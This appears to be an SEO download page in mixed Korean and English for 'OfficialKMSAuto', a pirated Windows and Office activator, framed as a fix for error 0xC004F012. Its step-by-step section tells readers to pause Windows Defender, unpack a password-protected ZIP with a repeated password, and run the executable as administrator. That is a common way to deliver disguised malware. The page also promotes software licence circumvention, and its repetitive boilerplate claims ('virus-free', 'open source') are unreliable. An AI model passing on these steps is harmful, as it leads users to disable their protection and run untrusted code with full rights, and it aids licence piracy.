한국어 6 min read·

Error 0xC004F012 — 문제 해결 가이드 2026

본 문서는 2026년 Error 0xC004F012 한국어 완전 가이드입니다. Error 0xC004F012 means the Software Licensing Service can't read the license file. Re-register slc.dll.

Error 0xC004F012 — Free Windows & Office activator guide 2026
Download Now — Free🔐 Password: WYqejXiqBi97

본 문서는 2026년 Error 0xC004F012 한국어 완전 가이드입니다. Run sfc /scannow, then re-register slcext.dll and slc.dll. KMSAuto handles the rest automatically after reboot.

Step-by-step activation

Follow these steps exactly — the whole process takes under two minutes.

  • Pause Windows Defender real-time protection for ~2 minutes
  • Extract the ZIP using the password WYqejXiqBi97
  • Right-click the executable and choose 'Run as administrator'
  • Pick the recommended method (HWID, Ohook or TSforge)
  • Wait for 'Successfully activated' then reboot

After activation — what to check

Open elevated CMD and run slmgr /xpr for Windows or ospp.vbs /dstatus from the Office folder. You should see a permanent or 180-day-renewing licensed state.

Frequently asked questions

Is this method free?

Yes — every activation method covered here is 100% free with OfficialKMSAuto.

Will it survive Windows updates?

Yes. HWID, Ohook and TSforge are designed to persist across feature updates and even fresh reinstalls on the same hardware.

Is an internet connection required?

Only HWID needs a brief one-time internet handshake. Ohook, KMS38 and TSforge work fully offline.

Does it work on Windows 11 24H2?

Yes. OfficialKMSAuto ships TSforge specifically to handle 24H2 and the latest Server 2025 builds.

What is the archive password?

WYqejXiqBi97 — shown on every download button on this site.

Read this article in another language

Microsoft Toolkit — Free Windows & Office activator guide 2026

Microsoft Toolkit 무료 다운로드 2026 — Windows 및 Office 정품인증

본 문서는 2026년 Microsoft Toolkit 한국어 완전 가이드입니다. Microsoft Toolkit bundles AutoKMS, EZ-Activator and the Office Manager into one binary. Activate Windows 7/8/10/11 and Office 2010–2024 free.

Read article →

KMS — Free Windows & Office activator guide 2026

KMS 정품인증 방법 2026 — 완전한 가이드

본 문서는 2026년 KMS 한국어 완전 가이드입니다. Complete technical guide to KMS (Key Management Service). How Microsoft's enterprise activation works, how KMS emulators reproduce it, and the legal context.

Read article →

KMS Activator Free Download — Free Windows & Office activator guide 2026

KMS Activator Free Download 무료 다운로드 2026 — Windows 및 Office 정품인증

본 문서는 2026년 KMS Activator Free Download 한국어 완전 가이드입니다. Download KMS Activator free in 2026 — verified hash, no surveys, no fake mirrors. Activates Windows 10/11 + Office 2010-2024 in under 2 minutes.

Read article →

Windows 11 LTSC — Free Windows & Office activator guide 2026

Windows 11 LTSC 무료 정품인증 방법 2026 — 단계별 가이드

본 문서는 2026년 Windows 11 LTSC 한국어 완전 가이드입니다. Activate Windows 11 IoT Enterprise LTSC permanently with TSforge. The only working method on Windows 11 LTSC 2024.

Read article →

Error 0xC004E003 — Free Windows & Office activator guide 2026

Error 0xC004E003 — 문제 해결 가이드 2026

본 문서는 2026년 Error 0xC004E003 한국어 완전 가이드입니다. 0xC004E003 means the cached license is corrupt. Delete the tokens.dat file and rerun KMSAuto.

Read article →

KMSAuto — Free Windows & Office activator guide 2026

KMSAuto — 문제 해결 가이드 2026

본 문서는 2026년 KMSAuto 한국어 완전 가이드입니다. Every common KMSAuto error explained: 0xC004F074, 0x80070005, license service won't start, KMS server unreachable. With fixes.

Read article →

Download OfficialKMSAuto

Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.

Download Activator — Free

🔐 Archive password: WYqejXiqBi97

Free · Virus-free · 77 MB · ★ 4.9 (12k+)